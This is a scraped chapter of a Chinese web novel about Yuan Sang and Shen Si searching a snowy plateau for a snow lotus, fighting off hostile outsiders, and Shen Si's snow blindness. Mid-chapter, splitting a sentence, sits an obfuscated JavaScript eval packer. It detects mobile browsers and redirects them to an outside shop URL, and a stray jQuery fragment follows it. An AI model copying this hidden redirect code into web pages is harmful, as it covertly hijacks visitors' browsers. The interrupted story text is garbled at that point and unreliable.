文趣网 > 都市小说 > 晕倒后被中原少年捡到 > 8. 第八章
    黎明之前,元桑赶回小木屋。

    沈肆还睡着,过了很久,他睁眼看见元桑坐在一边。

    沈肆发现自己对元桑总是没有警惕心,明明昨天夜里有人靠近小木屋他就会醒来。

    不过沈肆更多的是一种羞耻感,不同于在山洞里,那是互相依靠取暖。

    在睡觉时,除了他小时候母亲会贴身守着,其他人从未靠他这么近。

    他顿时一慌,赶紧下床:“元桑姑娘,你什么时候回来的,要不上床歇会?”

    元桑摇头:“没事,我们走吧,我带你去找雪莲花。”

    元桑记得之前这附近生长了几朵雪莲花,不知道有没有被人采摘。

    日光下雪原闪耀,趁着雪停,两人辞别木塔族。

    之前目之所及唯有白茫茫的一片,现在却能看见石露玄色,叶吐青绿,有一种壮丽梦幻的感觉。

    这样的美景不同于中原,沈肆不由得震撼。

    元桑看出来了,她为之骄傲,不过也有些失落。

    因为这样的景色她看过千百年,所以她想往雪原外走,她想看不一样的天地。

    元桑问:“沈肆,雪原外是什么样子?”

    沈肆脑海中思绪翻来覆去如同浆糊,末了却发现什么都没想出来。

    他欲言又止,一时之间竟然不知道如何回答。

    沈肆坦然道:“其实雪原也是我到过的第二个地方,之前我一直生活在京城。那里很热闹,也很乏味。”

    元桑好奇地问:“是和雪原的篝火晚会一样,还是像神赞日各部落前去求拜的热闹一样?”

    沈肆回答:“我们清明会去城外踏青,秋日赏菊作诗。不过京城最热闹的时候就是千秋节,那段时间城里张灯结彩,当晚也不禁宵,百姓可以去河边看烟花。”

    元桑不解:“什么是烟花,像烟一样的花?”

    沈肆语言匮乏,只得干巴巴解释:“就是将火药裹作一团,点燃后会在空中炸开,像花一样绽开。”

    元桑从这点描述中艰难地想象,不过她知道,肯定很漂亮。

    沈肆虽然说不出一二,但他拍着胸口承诺:“元桑姑娘,若你去京城,我带你去踏青,去赏菊,去看烟花。”

    “好啊。”元桑应下。

    走了大概两个时辰,他们终于到了那处,结果发现那朵雪莲花不久前被人采走。

    元桑蹲下看着那松动的土坑,周围还散落些许碎泥和断根,她环顾四周后判断:“外来者,而且不止一个。”

    她提醒沈肆:“当心点,这伙人肯定没走多远,而且他们不好相处。”

    接下来沈肆十分警惕,靠近一片雪林时,几只箭从林中射出。

    他挥刀一斩,一只箭断为两截,坠落在地。

    然后他长刀横于身前,箭头撞上刀身,只听一声清响,箭飞往一旁。

    元桑侧身一躲,完美避开。

    接着连绵不断的箭射过来,两人迅速躲在树后面,一时之间雪林里没有动静。

    元桑示意沈肆将身上的小弓弩给自己,接过后她瞄准方向射出一箭。

    “啊——”

    雪林里传出痛苦的嘶吼。

    元桑抓紧时机又射出一箭,又是一声哀嚎。

    沈肆站在元桑身后,看着她冷静的侧脸,利落的动作,心不由得一跳。

    里面的人不知怎么看出来的,有人说:“大家同为中原人,就别互相为难。”

    为了示好,雪林里的人主动走出来。

    元桑看了沈肆一眼,沈肆摇摇头没出声,先射箭的人可不是他们。

    果不其然,那边的人一靠近,立马挥刀砍过来。

    沈肆将元桑护至身后,迅速提刀应对。

    即使面对两人,沈肆也不落下风。

    突然又是一箭从雪林中射出,元桑也射出一箭。

    两箭尖锋相抵,“啪”的一声脆响,对面的箭在空中碎开。

    元桑的箭还在往前,最终又射中一人。

    沈肆的刀比一般的重三分,挥刀速度却不减,力道更甚。

    对面两人很快招架不住,哀声求饶:“停下,我们错了,我们错了。”

    沈肆放下刀,面无表情地看着他们。

    元桑上前问:“你们这个时候为什么会出现在雪原?”

    为首的陈筑戈如实回答:“是雪山神女邀请我们来的。两天前,万边山下的客栈出现一个自称格桑族的人,他说神赞日即将到来,神女心慈,允许所有外来者登上神山一同求拜。”

    元桑又问:“雪原人向来敌视外来者,你们进来不怕他们动手吗?”

    陈筑戈说:“神女承诺,这期间进入雪原的外来者,雪原人不会动手。”

    元桑听罢,眸光一沉,久久不语。

    沈肆接着询问:“那你为何对我们动手?”

    陈筑戈眼神往旁边一瞟,理直气壮地说:“从前我们的人一进雪原,就被这些蛮族杀掉。现在神女只说他们不动手,没规定我们不能动手。”

    陈筑戈恨死这些雪原蛮族了,他们占着雪原神女的宠爱,死死霸占着雪原的一草一木。

    幼时他的母亲身患重病,家里没钱买药,听说不远处的雪原里有一种名为雪莲花的药可医治百病,他父亲特地前往寻药。

    没想到刚踏进雪原,他父亲就死在几个雪原蛮族的刀下。

    雪原蛮族还将他父亲的尸体放在万边山下的客栈门口,以示警告其他想踏入雪原深处的外来者。

    雪原蛮族将自己当作雪原的主人,殊不知这就是个笑话。

    别以为他不知道,他们一开始只是雪原山下村庄里的人,只不过为了躲避战争才躲到雪原里面。

    过了千年,他们才成为如今的雪原蛮族。

    陈筑戈仇恨雪原蛮族,也厌恶雪原神女,他根本没想着去神山求拜。

    他想要什么自己在雪原找就行了,求来的谁知道是好的还是坏的。

    不过倒可以趁着这个机会,多杀几个雪原蛮族,以报十几年前的那笔仇恨。

    陈筑戈对元桑和沈肆动手,一开始是因为这个原因。

    后面虽然猜测他们不是雪原蛮族,但既然已经动手,双方也难善了,不如一条道走到底。

    没想到他们五个人打不过两个人,其中一个还是个看似柔弱的女人。

    元桑盯了他们一会,最后她说:“可以留你们一命,不过你们要自断一臂。”

    “当然。”陈筑戈立马答应,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677075|207521||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    甚至这比他预想的要好。

    棋差一招,是他小看了对面,他认输。

    说完他狠心挥刀砍断自己的左臂,他的同伴犹豫一番后,也挥起刀。

    元桑没看这些,她对沈肆说:“走吧,他们摘走的那朵雪莲花不是你需要的。”

    至于这朵雪莲花,就当是给陈筑戈的父亲了。

    沈肆看着元桑的心情明显低落,他不明所以,却想让元桑开心点。

    想起元桑似乎对雪原外感兴趣,他主动说起,不过也只限于自己在京城见过的,或者书中看到的。

    雪原本就是一个充满灵异神怪色彩的地方,沈肆自然会联想到南海鲛人和昆仑山君。

    其实沈肆小时候见过鲛人的尸首,他父亲是太后的小儿子,他与几位皇子宫中玩闹时,意外闯入一间全是冰块的房间。

    就是在那里,他看见鲛人的尸首。

    鲛人的耳朵是鱼鳍模样,手上有蹼,上半身其他部分是正常的,下半身就是鱼的模样。

    很怪异,也很迷人。

    至于山君,民间流传很多故事,但是真假难辨,沈肆只挑了几件和元桑说。

    说起鲛人,元桑只能靠想象,但提到山君,元桑脑海里浮现出一个青衣女子的模样。

    正当元桑想回忆更多时,沈肆身子一倒,重重地摔倒在地。

    沈肆难受地眨眼,之前他眼睛就有微弱的刺痛感,只是一直在硬撑。

    此刻痛感更强,加上眼前突然模糊一片,实在受不住就倒下了。

    沈肆刚起身,微微抬了抬头,眼睛就不自觉地流泪。

    元桑看见沈肆的两只眼睛通红,再加上沈肆刚才避光的动作,她有了猜测:“你患了雪盲症。”

    “啊?”沈肆眼神呆呆的,眼睛红红的,脸上挂满泪水,很是可怜。

    元桑用小刀从沈肆衣摆处割下一小块布料,然后用它遮住沈肆的双眼。

    接着元桑将自己大衣的一角放到沈肆手心,她温柔又带有力量地说:“现在开始,我来当你的眼睛。”

    沈肆抓紧元桑的衣角,亦步亦趋地跟在她的身后。

    只是在雪地上走路,在看不到的情况下,即使有人牵引,对沈肆来说也有些困难。

    有些地方一深一浅,沈肆稍不集中全部注意力就会摔倒。

    就像现在,沈肆又一次摔倒在地,即使他放手很快,元桑也被牵连。

    沈肆摔在雪地里,元桑摔在他怀里。

    元桑很少这么狼狈,她有点小小的恼怒:“沈肆,你是一个不会走路的笨熊!”

    沈肆僵在雪地上,他抿了抿嘴,刚想说话。

    元桑已经麻利地起身,甚至拉他起来。

    这次元桑没有将自己的大衣衣角给他,而是用手握住沈肆的手腕。

    即使隔着厚重的衣服,元桑手上的热度也好像透过一层层布料,让沈肆感受到了那股暖意。

    沈肆的嘴角微微翘起,藏在大衣下的另一只手捏了一下自己衣角,再慢慢靠近元桑。

    元桑没注意这些,她想的是,这下总不会摔倒了吧。

    两人继续向新的目的地前行,雪地里留下两人的脚印。

    从开始的一前一后,到现在的并行。